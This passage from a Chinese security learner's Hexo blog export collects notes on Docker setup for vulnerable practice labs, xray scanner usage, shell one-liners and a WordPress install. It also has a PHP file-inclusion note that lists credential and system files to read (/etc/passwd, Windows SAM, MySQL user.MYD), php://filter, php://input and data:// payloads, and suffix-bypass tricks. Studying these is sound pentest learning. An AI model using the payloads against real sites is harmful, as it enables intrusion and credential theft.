-y docker-ce-18.09.9 docker-ce-cli-18.09.9 containerd.io</code></pre><p><strong>安装docker脚本</strong></p><pre><code class="bash">curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun</code></pre><p><strong>配置国内加速</strong></p><pre><code class="bash">创建或修改 /etc/docker/daemon.json 文件,修改为如下形式{ "registry-mirrors": [ "https://registry.docker-cn.com", "http://hub-mirror.c.163.com", "https://docker.mirrors.ustc.edu.cn" ]}$ sudo systemctl daemon-reload$ sudo systemctl restart docker</code></pre><p><strong>哆啦靶场docker一键配置</strong></p><p>/* pull 镜像 <em>/<br>sudo docker pull registry.cn-hangzhou.aliyuncs.com/duolass/duola:1.2<br>/</em> 一键启动 -p 主机端口:容器端口 * 主机端口可自己指定,容器端口为80/<br> sudo docker run -d -p 7777:80 registry.cn-hangzhou.aliyuncs.com/duolass/duola:1.2</p><p><strong>vulfocus</strong><br>#下载<br>docker pull vulfocus/vulfocus<br>启动环境<br>$docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=xx</p><p><strong>webbug4.0</strong></p><p>docker pull area39/webug<br>docker run -d -P area39/webug</p><p><strong>metaspolitable2</strong><br>docker pull tleemcjr/metasploitable2<br>docker run –name msfable -it tleemcjr/metasploitable2:latest sh -c “/bin/services.sh && bash”</p><p><strong>dvwa</strong></p><p>Pull image: docker pull citizenstig/dvwa</p><p>sudo docker run -d -p 6666:80 -p 3307:3306 -e MYSQL_PASS=”123456” citizenstig/dvwa</p><p><strong>awvs1</strong>3</p><pre><code class="bash">pull 拉取下载镜像docker pull secfa/docker-awvs将Docker的3443端口映射到物理机的 13443端口docker run -it -d -p 13443:3443 secfa/docker-awvs容器的相关信息awvs13 username: [email protected] password: Admin123AWVS版本:13.0.200217097</code></pre><p><strong>awvs14</strong></p><pre><code class="shell">#awvs14 dockerdocker run -it -d --name awvs -p 3443:3443 xrsec/awvs:v14ip:[email protected]@awvs.com</code></pre><p><strong>wordpress</strong></p><pre><code class="bash">docker run -d --privileged=true --name OLDMysql -v /data/mysql:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -p 33306:3306 mysql:5.6docker run -d --name OLDwp -e WORDPRESS_DB_HOST=mysql -e WORDPRESS_DB_USER=root -e WORDPRESS_DB_PASSWORD=123456 -e WORDPRESS_DB_NAME=myword -p 1080:80 --link OLDMysql:mysql wordpress</code></pre><p><strong>nessus 8.10</strong></p><pre><code class="bash">docker pull leishianquan/awvs-nessus:v3 docker run -itd -p 3443:3443 -p 8834:8834 leishianquan/awvs-nessus:v3 进入容器 docker exec -it [容器id] /bin/bash 启动 nessus /etc/init.d/nessusd start ctrl+A ctrl+D 退出 容器 用户名 密码 leishi leishianquan</code></pre>]]></content>
<categories>
<category> 开发工具 </category>
</categories>
<tags>
<tag> 工具使用 </tag>
<tag> 脚本 </tag>
<tag> docker </tag>
</tags>
</entry>
<entry>
<title>文件包含漏洞相关</title>
<link href="/2021/04/19/web%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E%E7%AF%87/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E7%9B%B8%E5%85%B3/"/>
<url>/2021/04/19/web%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E%E7%AF%87/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E7%9B%B8%E5%85%B3/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="参考文章"><a href="#参考文章" class="headerlink" title="参考文章"></a>参考文章</h2><p><a href="https://www.freebuf.com/articles/web/182280.html">https://www.freebuf.com/articles/web/182280.html</a></p><p><a href="https://segmentfault.com/a/1190000018991087">https://segmentfault.com/a/1190000018991087</a></p><p><a href="https://blog.csdn.net/nzjdsds/article/details/82461043">https://blog.csdn.net/nzjdsds/article/details/82461043</a></p><p><a href="https://www.cnblogs.com/bonelee/p/14292794.html">https://www.cnblogs.com/bonelee/p/14292794.html</a></p><p><em><span id="more"></span></em> </p><h2 id="漏洞相关函数"><a href="#漏洞相关函数" class="headerlink" title="漏洞相关函数"></a>漏洞相关函数</h2><p>PHP中文件包含函数有以下四种:</p><blockquote><p>require()</p><p>require_once()</p><p>include()</p><p>include_once()</p></blockquote><p><code>include</code>和<code>require</code>区别主要是,<code>include</code>在包含的过程中如果出现错误,会抛出一个警告,程序<strong>继续正常运行</strong>;而<code>require</code>函数出现错误的时候,会直接报错并退出程序的执行。</p><p>而<code>include_once()</code>,<code>require_once()</code>这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。</p><p>还有就是<code>echo</code> +<code>file_get_contents</code> 这种文件包含形式</p><p>比如下列代码也可能造成恶意文件包含</p><pre><code class="php"><?phpecho file_get_contents(substr(strstr($_SERVER['QUERY_STRING'], 'url='), 4));?></code></pre><p>在渗透测试过程中,可以尝试通过伪协议的方式读取本文件的源代码</p><p>php://filter/convert.base64-encode/resource=filename</p><p>如</p><p><a href="http://xxx.xxx.com/fileinc.php?filename=php://filter/convert.base64-encode/resource=fileinc.php">http://xxx.xxx.com/fileinc.php?filename=php://filter/convert.base64-encode/resource=fileinc.php</a></p><p>可以通过本地包含/etc/my.ini <code>allow_url_fopen</code> <code>allow_url_include</code>文件查看参数的设置</p><h2 id="本地文件包含漏洞常用文件名"><a href="#本地文件包含漏洞常用文件名" class="headerlink" title="本地文件包含漏洞常用文件名"></a>本地文件包含漏洞常用文件名</h2><p>/etc/profile #环境变量</p><p>/etc/sudoers #</p><p>/etc/my.cnf #mysql配置文件</p><p>/etc/hosts</p><p>/etc/group</p><p>/etc/passwd</p><p>/etc/php.ini </p><p>/etc/crontab</p><p>/etc/aliases</p><p>/etc/nginx/conf.d/default.conf</p><p>/etc/httpd/conf.d/httpd.conf</p><p>/proc/net/dev # 网卡信息</p><p>/proc/net/tcp #tcp端口信息</p><p><img src="https://gitee.com/qwrdxer/img2/raw/master/image-20210420135604161.png" alt="image-20210420135604161"></p><p>/proc/ [pid] /cmdline #进程命令行信息</p><p>/proc/version # linux内核版本信息</p><p>/var/log/lastlog # 上次登录的IP</p><p>/var/log/mysqld.log #mysql初始化密码</p><p>/var/log/httpd/ ….</p><p>c:\boot.ini // 查看系统版本</p><p>c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件</p><p>c:\windows\repair\sam // 存储Windows系统初次安装的密码</p><p>c:\ProgramFiles\mysql\my.ini // MySQL配置</p><p>c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码</p><p>c:\windows\php.ini // php 配置信息</p><h2 id="远程文件包含漏洞"><a href="#远程文件包含漏洞" class="headerlink" title="远程文件包含漏洞"></a>远程文件包含漏洞</h2><p>要求: </p><p><code>allow_url_fopen = On</code>(是否允许打开远程文件)</p><p><code>allow_url_include = On</code>(是否允许include/require远程文件)</p><h2 id="伪协议"><a href="#伪协议" class="headerlink" title="伪协议"></a>伪协议</h2><p><img src="https://gitee.com/qwrdxer/img2/raw/master/image-20210419204006954.png" alt="image-20210419204006954"></p><p>还有http:// ftp://啥的</p><p>具体介绍参考<a href="https://segmentfault.com/a/1190000018991087">https://segmentfault.com/a/1190000018991087</a></p><p><strong>使用例子:</strong></p><p>php://filter/convert.base64-encode/resource=filename</p><p>file:///etc/passwd</p><pre><code> (下面这两个需要 `allow_url_include`为open ,当然如果利用成功可直接获得webshell ,, 可遇不可求啊)</code></pre><p>php://input [ 把后面的post传入] <?php phpinfo()?></p><p>data://text/plain,<?php phpinfo()?></p><p><strong>zip://(需要搭配文件上传漏洞)</strong></p><p><strong>使用方法:</strong></p><p>zip://archive.zip#dir/file.txt</p><p>zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]</p><h2 id="绕过方式"><a href="#绕过方式" class="headerlink" title="绕过方式"></a>绕过方式</h2><p>A . 添加了文件后缀</p><?php include($_GET['filename'] . ".html"); ?><ol><li>使用文件名+ ? 号绕过</li><li>使用文件名+ #号绕过</li><li>文件名+ 空格绕过</li></ol>]]></content>
<categories>
<category> web安全漏洞篇 </category>
</categories>
<tags>
<tag> web漏洞 </tag>
<tag> 文件包含 </tag>
</tags>
</entry>
<entry>
<title>hexo相关</title>
<link href="/2021/04/16/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/hexo%E5%91%BD%E4%BB%A4/"/>
<url>/2021/04/16/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/hexo%E5%91%BD%E4%BB%A4/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="常用命令"><a href="#常用命令" class="headerlink" title="常用命令"></a>常用命令</h3><pre><code class="cmd">#生成静态文件并重新部署hexo g -d# 本地测试 访问http://localhost:4000/hexo s#更换主题时运行一次hexo clean# 创建一篇文章,”“内填写文章的名字hexo new "blogname"# 指定目录创建文件hexo new "titlename" -p "path\titlename"</code></pre><p><em><span id="more"></span></em> </p><h3 id="文章相关"><a href="#文章相关" class="headerlink" title="文章相关"></a>文章相关</h3><blockquote><p>使用hexo new “blog” 命令会在_post文件夹下生成blog.md,在头部有如下配置</p><p><img src="/2021/04/16/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/hexo%E5%91%BD%E4%BB%A4/image-20210416123314164.png" alt="image-20210416123314164"></p><p>可以增加自定义设置</p></blockquote><p><code>tags示例</code></p><blockquote><p><img src="/2021/04/16/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/hexo%E5%91%BD%E4%BB%A4/image-20210416123455874.png" alt="image-20210416123455874"></p><p>可以为文章添加多个tags</p></blockquote><p><code>categories示例</code></p><blockquote><p><img src="/2021/04/16/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/hexo%E5%91%BD%E4%BB%A4/image-20210416123611813.png"></p><p>可将文章归为多个类别</p></blockquote><h3 id="主题更换"><a href="#主题更换" class="headerlink" title="主题更换"></a>主题更换</h3><p><a href="https://hexo.io/themes/">https://hexo.io/themes/</a></p><p><img src="/2021/04/16/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/hexo%E5%91%BD%E4%BB%A4/image-20210416122102370.png" alt="image-20210416122102370"></p><p>点击图片可预览,点击下面的蓝色字体进入github页面</p><p>本机进入<code>themes</code>文件夹,git下载即可, 如</p><p>git clone <a href="https://github.com/mulder21c/hexo-theme-amorfati.git">https://github.com/mulder21c/hexo-theme-amorfati.git</a></p><p><img src="/2021/04/16/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/hexo%E5%91%BD%E4%BB%A4/image-20210416122304877.png" alt="image-20210416122304877"></p><p>记住文件名,编辑根目录下的<code>_config.yml</code>文件,更新theme的值为对应的文件夹名即可(注意空格)</p><p><img src="/2021/04/16/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/hexo%E5%91%BD%E4%BB%A4/image-20210416122430800.png" alt="image-20210416122430800"></p><p>输入命令 <code>hexo g -d</code> 即可更换完成</p><p>若主题仍未更换,可能是浏览器换成的问题。</p><h3 id="本地图片上传"><a href="#本地图片上传" class="headerlink" title="本地图片上传"></a>本地图片上传</h3><p><a href="https://blog.csdn.net/ayuayue/article/details/109198493">https://blog.csdn.net/ayuayue/article/details/109198493</a></p><p>设置post_asset_folder 为 true, 安装插件 asset-image<br>npm install <a href="https://github.com/CodeFalling/hexo-asset-image">https://github.com/CodeFalling/hexo-asset-image</a><br>typora 设置图片为本地上传、优先使用相对路径<br>hexo clean && hexo generate && hexo s 运行查看</p><h3 id="参考博客"><a href="#参考博客" class="headerlink" title="参考博客"></a>参考博客</h3><p><strong>hexo添加图片</strong></p><p><a href="https://blog.csdn.net/u010996565/article/details/89196612">https://blog.csdn.net/u010996565/article/details/89196612</a></p><p><strong>hexo文章分类</strong></p><p><a href="https://blog.csdn.net/maosidiaoxian/article/details/85220394">https://blog.csdn.net/maosidiaoxian/article/details/85220394</a></p><p><strong>hexo 自动文章分类</strong></p><p><a href="https://blog.eson.org/pub/e2f6e239/">https://blog.eson.org/pub/e2f6e239/</a></p><p>国内git无法正常使用</p><p><a href="https://www.cnblogs.com/e1sewhere/p/16574118.html">https://www.cnblogs.com/e1sewhere/p/16574118.html</a></p>]]></content>
<categories>
<category> 开发工具 </category>
</categories>
<tags>
<tag> 工具使用 </tag>
<tag> 脚本 </tag>
</tags>
</entry>
<entry>
<title>xray使用</title>
<link href="/2021/04/16/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/xray%E4%BD%BF%E7%94%A8/"/>
<url>/2021/04/16/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/xray%E4%BD%BF%E7%94%A8/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="xray下载"><a href="#xray下载" class="headerlink" title="xray下载"></a>xray下载</h2><p><a href="https://github.com/chaitin/xray/releases">https://github.com/chaitin/xray/releases</a></p><p>下载指定操作系统的xray即可</p><p>终端首次执行命令会在同一目录下生成<code>congfig.yaml</code>配置文件</p><p>如果有license证书,将其命名为xray-license.lic放到和xray同一个目录即可使用高级版</p><p>官方参考文档</p><p><a href="https://docs.xray.cool/">https://docs.xray.cool/</a></p><p><em><span id="more"></span></em> </p><h2 id="xray配置文件"><a href="#xray配置文件" class="headerlink" title="xray配置文件"></a>xray配置文件</h2><h3 id="1-配置扫描时的代理"><a href="#1-配置扫描时的代理" class="headerlink" title="1.配置扫描时的代理"></a>1.配置扫描时的代理</h3><p><img src="/2021/04/16/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/xray%E4%BD%BF%E7%94%A8/image-20210416135559029.png" alt="image-20210416135559029"></p><h3 id="2-配置爬虫禁止的域名"><a href="#2-配置爬虫禁止的域名" class="headerlink" title="2.配置爬虫禁止的域名"></a>2.配置爬虫禁止的域名</h3><p><img src="/2021/04/16/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/xray%E4%BD%BF%E7%94%A8/image-20210416135538773.png" alt="image-20210416135538773"></p><h3 id="3-配置cookie-登录用户"><a href="#3-配置cookie-登录用户" class="headerlink" title="3. 配置cookie( 登录用户)"></a>3. 配置cookie( 登录用户)</h3><p><img src="/2021/04/16/web%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%AF%87/xray%E4%BD%BF%E7%94%A8/image-20210416135905779.png" alt="image-20210416135905779"></p><h2 id="xray命令"><a href="#xray命令" class="headerlink" title="xray命令"></a>xray命令</h2><p><strong>在终端下输入<code>xray_windows_amd64.exe --help</code></strong></p><pre><code class="shell">COMMANDS: webscan, ws Run a webscan task servicescan, ss Run a service scan task subdomain, sd Run a subdomain task poclint, pl lint yaml poc reverse Run a standalone reverse server convert convert results from json to html or from html to json genca GenerateToFile CA certificate and key upgrade check new version and upgrade self if any updates found version Show version info help, h Shows a list of commands or help for one commandGLOBAL OPTIONS: --config FILE Load configuration from FILE (default: "config.yaml") --log-level value Log level, choices are debug, info, warn, error, fatal --help, -h show help</code></pre><h3 id="1-subdomain-子域名扫描"><a href="#1-subdomain-子域名扫描" class="headerlink" title="1. subdomain 子域名扫描"></a><strong>1. subdomain 子域名扫描</strong></h3><p>查看帮助: <code> xray_windows_amd64.exe subdomain --help</code> </p><pre><code class="shell">OPTIONS: --target value, -t value 指定扫描目标 --no-brute 禁用子域名爆破 --web-only 筛选出带有web服务的域名 --ip-only 筛选能成功解析ip的域名 --json-output FILE output xray results to FILE in json format --html-output FILE output xray result to FILE in HTML format --text-output FILE output xray results to FILE in plain text format --webhook-output value 将结果以json格式发送到一个地址(webhook)</code></pre><p>扫描web服务并将其输出到txt文件</p><pre><code class="shell">#扫描web服务并将其输出到txt文件xray_windows_amd64.exe subdomain -t xxx.xxx.xxx --no-brute --web-only --ip-only --text-output xxx.txt</code></pre><p>输出格式为 域名,ip地址,在linux下可以使用awk筛选出域名/ip</p><pre><code class="shell"># 输出域名cat xxx.txt | awk -F , '{print $1}' >> result_dm.txt# 输出ip ,可用于进一步C段扫描cat xxx.txt | awk -F , '{print $2}' >> result_ip.txt</code></pre><h3 id="2-webscan-web漏洞扫描"><a href="#2-webscan-web漏洞扫描" class="headerlink" title="2. webscan web漏洞扫描"></a>2. <strong>webscan web漏洞扫描</strong></h3><p>查看帮助:<code>xray_windows_amd64.exe webscan --help</code></p><pre><code class="shell">OPTIONS: --list, -l 列出可用插件 --plugins value, --plugin value, --plug value 指定插件, 多个插件使用 ',' 分割 --poc value, -p value 指定POC,多个POC使用',' 分割 --listen value 监听指定端口,收集流量进行扫描,非常适合集合多个工具进行自动化扫描,value的值为地址, (example: 127.0.0.1:1111) --basic-crawler value, --basic value use a basic spider to crawl the target and scan the requests --browser-crawler value, --browser value use a browser spider to crawl the target and scan the requests --url-file value, --uf value 从文件中获取url进行扫描(可用subdomain收集的结果,注意需要将结果中的ip和域名分离出来) --burp-file value, --bf value read requests from burpsuite exported file as targets --url value, -u value 扫描单个url --data value, -d value data string to be sent through POST (e.g. 'username=admin') --raw-request FILE, --rr FILE load http raw request from a FILE --force-ssl, --fs force usage of SSL/HTTPS for raw-request --json-output FILE, --jo FILE output xray results to FILE in json format --html-output FILE, --ho FILE output xray result to FILE in HTML format --webhook-output value, --wo value post xray result to url in json format</code></pre><p><strong>示例扫描命令</strong></p><pre><code class="shell"># 扫描单个urlxray_windows_amd64.exe webscan --browser-crawler --url xxx.xxx.com --html-output 1.html# 指定url文件进行扫描xray_windows_amd64.exe webscan --browser-crawler --url-file result.txt --html-output 1.html</code></pre><p>一个简单的脚本(linux)</p><pre><code class="bash">#! /bin/bashTARGET="$1"./xray_linux_amd64 subdomain -t $TARGET --no-brute --web-only --ip-only --text-output $TARGET.txtcat $TARGET.txt | awk -F , '{print $1}' >> $TARGET.domain.txtrm -rf $TARGET.txt./xray_linux_amd64 webscan --url-file $TARGET.domain.txt --html-output $TARGET.html</code></pre><p>放在和xray同一目录下运行即可 如: ./test.sh <a href="http://www.xxx.com/">www.xxx.com</a> </p><p><strong>结合浏览器进行扫描</strong></p><ol><li>浏览器安装证书<a href="https://www.liuyixiang.com/post/109546.html">https://www.liuyixiang.com/post/109546.html</a></li><li>xray运行监听端口xray_windows_amd64.exe ws –listen 127.0.0.1:7777 –html-output 1.html</li><li>浏览器配置代理为127.0.0.1:7777</li><li>访问网页即可自动扫描</li></ol><p><strong>结合burpsuite进行扫描</strong></p><p><a href="https://blog.csdn.net/wy_97/article/details/105656097">https://blog.csdn.net/wy_97/article/details/105656097</a></p><h3 id="3-servicescan-端口服务扫描"><a href="#3-servicescan-端口服务扫描" class="headerlink" title="3. servicescan 端口服务扫描"></a>3. servicescan 端口服务扫描</h3><p>查看帮助:<code>xray_windows_amd64.exe servicescan --help</code></p><pre><code class="shell">OPTIONS: --target value, -t value specify the target, for example: host:8009 --target-file value, --tf value load targets from a local file, one target a line --json-output FILE, --jo FILE output xray results to FILE in json format --webhook-output value, --wo value post xray result to url in json format --html-output FILE, --ho FILE output xray result to FILE in HTML format</code></pre><h2 id="插件使用-amp-开发"><a href="#插件使用-amp-开发" class="headerlink" title="插件使用 & 开发"></a>插件使用 & 开发</h2>]]></content>
<categories>
<category> web安全工具篇 </category>
</categories>
<tags>
<tag> 渗透测试 </tag>
<tag> 工具使用 </tag>
</tags>
</entry>
<entry>
<title>some script</title>
<link href="/2021/04/15/%E8%84%9A%E6%9C%AC/some-script/"/>
<url>/2021/04/15/%E8%84%9A%E6%9C%AC/some-script/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="记录一些有用的小工具"><a href="#记录一些有用的小工具" class="headerlink" title="记录一些有用的小工具"></a>记录一些有用的小工具</h2><h3 id="使用Python在当前文件下开启HTTP服务"><a href="#使用Python在当前文件下开启HTTP服务" class="headerlink" title="使用Python在当前文件下开启HTTP服务"></a>使用Python在当前文件下开启HTTP服务</h3><p>Python <= 2.3</p><p>python -c “import SimpleHTTPServer as s; s.test();” 8000</p><p>Python >= 2.4</p><p>python -m SimpleHTTPServer 8000</p><p>Python 3.x</p><p>python3 -m http.server 8000</p><p> python -m SimpleHTTPServer</p><p>使用python开启ftp</p><p> python3 -m pyftpdlib -p 21</p><p><em><span id="more"></span></em> </p><h3 id="分屏-在各大ssh连接中十分有用"><a href="#分屏-在各大ssh连接中十分有用" class="headerlink" title="分屏(在各大ssh连接中十分有用)"></a>分屏(在各大ssh连接中十分有用)</h3><p>screen -S name 创建一个id为name的shellTerminal</p><p>screen -ls 列出所有Terminal</p><p>screen -r name 进入某个Terminal</p><h3 id="Snap安装"><a href="#Snap安装" class="headerlink" title="Snap安装"></a>Snap安装</h3><p>apt install snapd</p><p>systemctl enable –now snapd apparmor</p><p>snap install qv2ray</p><h3 id="从一堆http链接中提取子域名"><a href="#从一堆http链接中提取子域名" class="headerlink" title="从一堆http链接中提取子域名"></a>从一堆http链接中提取子域名</h3><p>cat file | grep -v “http” >> outputurl</p><p>cat file | grep “http” >> output2url</p><p>cat output2url | awk -F “/“ ‘{print $3}’ > ouputurl</p><h3 id="一键安装docker"><a href="#一键安装docker" class="headerlink" title="一键安装docker"></a>一键安装docker</h3><p>curl -fsSL <a href="https://get.docker.com/">https://get.docker.com</a> | bash -s docker –mirror Aliyun</p><p>也可以使用国内 daocloud 一键安装命令:</p><p>curl -sSL <a href="https://get.daocloud.io/docker">https://get.daocloud.io/docker</a> | sh</p><h3 id="正则表达式记录"><a href="#正则表达式记录" class="headerlink" title="正则表达式记录"></a>正则表达式记录</h3><p>匹配IP地址</p><p>((25[0-5]|2[0-4]\d|[01]?\d\d?).){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)</p><p>grep ‘([0-9]{1,3}.){3}[0-9]{1,3}‘ res.txt</p><h3 id="提取-ip列表中的C段"><a href="#提取-ip列表中的C段" class="headerlink" title="提取 ip列表中的C段"></a>提取 ip列表中的C段</h3><p>cat ip.txt |sort|uniq|grep -E -o “([0-9]{1,3}[.]){3}”|uniq -c| awk ‘{if ($1>=3) print $2”0/24”}’ >ip2.txt</p><h3 id="提取文件中域名"><a href="#提取文件中域名" class="headerlink" title="提取文件中域名"></a>提取文件中域名</h3><p>grep -ohr -E “https?://[a-zA-Z0-9./_&=@$%?~#-]*” ./folder</p><h3 id="给文件所有行添加字符串"><a href="#给文件所有行添加字符串" class="headerlink" title="给文件所有行添加字符串"></a>给文件所有行添加字符串</h3><p>cat ip_all_all.txt | awk ‘{print”http://“$0 }’ >> ip_http.txt </p><h3 id="压缩文件"><a href="#压缩文件" class="headerlink" title="压缩文件"></a>压缩文件</h3><p>tar -czvf xxx.tar.gz file/</p><h3 id="文件去重-取自《linux-shell-脚本攻略》"><a href="#文件去重-取自《linux-shell-脚本攻略》" class="headerlink" title="文件去重(取自《linux shell 脚本攻略》)"></a>文件去重(取自《linux shell 脚本攻略》)</h3><pre><code class="shell"># !/bin/bash# 文件名: remove_duplicates.sh# 用途: 查找并删除重复文件,每一个文件只保留一份ls -lS --time-style=long-iso | awk 'BEGIN {getline; getline;name1=$8; size=$5}{name2=$8;if (size==$5){"md5sum "name1 | getline; csum1=$1;"md5sum "name2 | getline; csum2=$1;if ( csum1==csum2 ){print name1; print name2}};size=$5; name1=name2;}' | sort -u > duplicate_filescat duplicate_files | xargs -I {} md5sum {} | \sort | uniq -w 32 | awk '{ print $2 }' | \sort -u > unique_filesecho Removing..comm duplicate_files unique_files -3 | tee /dev/stderr | \xargs rmecho Removed duplicates files successfully.</code></pre><h3 id="shell-使用sed去除换行以及去除空格"><a href="#shell-使用sed去除换行以及去除空格" class="headerlink" title="shell 使用sed去除换行以及去除空格"></a><a href="https://www.cnblogs.com/zl1991/p/15181070.html">shell 使用sed去除换行以及去除空格</a></h3><p>去除换行:</p><p>sed “:a;N;s/\n//g;ta” result</p><p>去除所有空格</p><p>sed s/[[:space:]]//g result</p><p>windows换行符转linux换行符</p><p>单个的文件装换</p><p>sed -i ‘s/\r//‘ filename</p>]]></content>
<categories>
<category> 脚本 </category>
</categories>
<tags>
<tag> 脚本 </tag>
<tag> bash </tag>
<tag> python </tag>
</tags>
</entry>
<entry>
<title>centos部署wordpress</title>
<link href="/2021/04/15/%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE/centos%E9%83%A8%E7%BD%B2wordpress/"/>
<url>/2021/04/15/%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE/centos%E9%83%A8%E7%BD%B2wordpress/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="1-安装apache"><a href="#1-安装apache" class="headerlink" title="1.安装apache"></a>1.安装apache</h3><pre><code>sudo yum install httpd# 启动httpdsudo service httpd start</code></pre><p>浏览器输入ip访问测试页面</p><p><em><span id="more"></span></em> </p><h3 id="2-安装mysql"><a href="#2-安装mysql" class="headerlink" title="2.安装mysql"></a>2.安装mysql</h3><pre><code class="bash">wget -i -c http://dev.mysql.com/get/mysql57-community-release-el7-10.noarch.rpmyum -y install mysql57-community-release-el7-10.noarch.rpmyum -y install mysql-community-server#启动mysqlsystemctl start mysqld.service#获得密码grep "password" /var/log/mysqld.log#使用查找到的密码登录mysql -u root -p# 登录成功后输入如下命令修改密码> ALTER USER 'root'@'localhost' IDENTIFIED BY 'new password';# 添加远程登录(可选则跳过)grant all privileges on *.* to 'root'@'%' identified by 'password' with grant option;flush privileges;</code></pre><h3 id="3-安装php-gt-5-6-20"><a href="#3-安装php-gt-5-6-20" class="headerlink" title="3.安装php(>5.6.20 )"></a>3.安装php(>5.6.20 )</h3><pre><code class="bash">rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpmrpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpmyum -y install php71w-common php71w-fpm php71w-opcache php71w-gd php71w-mysqlnd php71w-mbstring php71w-pecl-redis php71w-pecl-memcached php71w-devel mod_php71w.x86_64systemctl start php-fpmsystemctl enable php-fpm</code></pre><p>无法解析php文件参考这篇博客(后来知道是少安装了mod_php71w.x86_64)</p><p><a href="https://blog.csdn.net/qq_33858250/article/details/81270278">https://blog.csdn.net/qq_33858250/article/details/81270278</a></p><p><a href="https://zhuanlan.zhihu.com/p/126717388">https://zhuanlan.zhihu.com/p/126717388</a></p><h3 id="4-设置mysql、httpd开机自启动"><a href="#4-设置mysql、httpd开机自启动" class="headerlink" title="4. 设置mysql、httpd开机自启动"></a>4. 设置mysql、httpd开机自启动</h3><pre><code class="bash">sudo chkconfig httpd onsudo chkconfig mysqld on</code></pre><h3 id="5-下载安装wordpress"><a href="#5-下载安装wordpress" class="headerlink" title="5. 下载安装wordpress"></a>5. 下载安装wordpress</h3><p><a href="https://cn.wordpress.org/">https://cn.wordpress.org/</a></p><p>或者 命令 wget <a href="https://cn.wordpress.org/latest-zh_CN.tar.gz">https://cn.wordpress.org/latest-zh_CN.tar.gz</a></p><p>太慢了建议翻墙</p><pre><code class="bash"> #解压到指定目录 unzip wordpress-5.7-zh_CN.zip -d /var/www/html/ # mysql中创建数据库mysql -u root -pcreate database wordpress;# 退出mysqlexit# 编辑配置文件cd /var/www/html/wordpresscp wp-config-sample.php wp-config.phpvim wp-config.php#修改这几个字段/** MySQL数据库名:wordpress */define(‘DB_NAME', ‘wordpress'); /** MySQL数据库用户名 :root*/define(‘DB_USER', ‘root'); /** MySQL数据库密码 :password*/define(‘DB_PASSWORD', ‘your password');/** MySQL主机(不用修改) */define(‘DB_HOST', ‘localhost');</code></pre><h3 id="6-测试安装"><a href="#6-测试安装" class="headerlink" title="6.测试安装"></a>6.测试安装</h3><p>浏览器登录即可</p><h3 id="7-参考博客"><a href="#7-参考博客" class="headerlink" title="7.参考博客"></a>7.参考博客</h3><p><a href="https://blog.csdn.net/qq_36582604/article/details/80526287">https://blog.csdn.net/qq_36582604/article/details/80526287</a></p><p><a href="https://www.cnblogs.com/DarrenChan/p/6622233.html">https://www.cnblogs.com/DarrenChan/p/6622233.html</a></p>]]></content>
<categories>
<category> 环境配置 </category>
</categories>
<tags>
<tag> linux </tag>
<tag> 环境配置 </tag>
<tag> 报错解决 </tag>
<tag> WordPress </tag>
</tags>
</entry>
</search>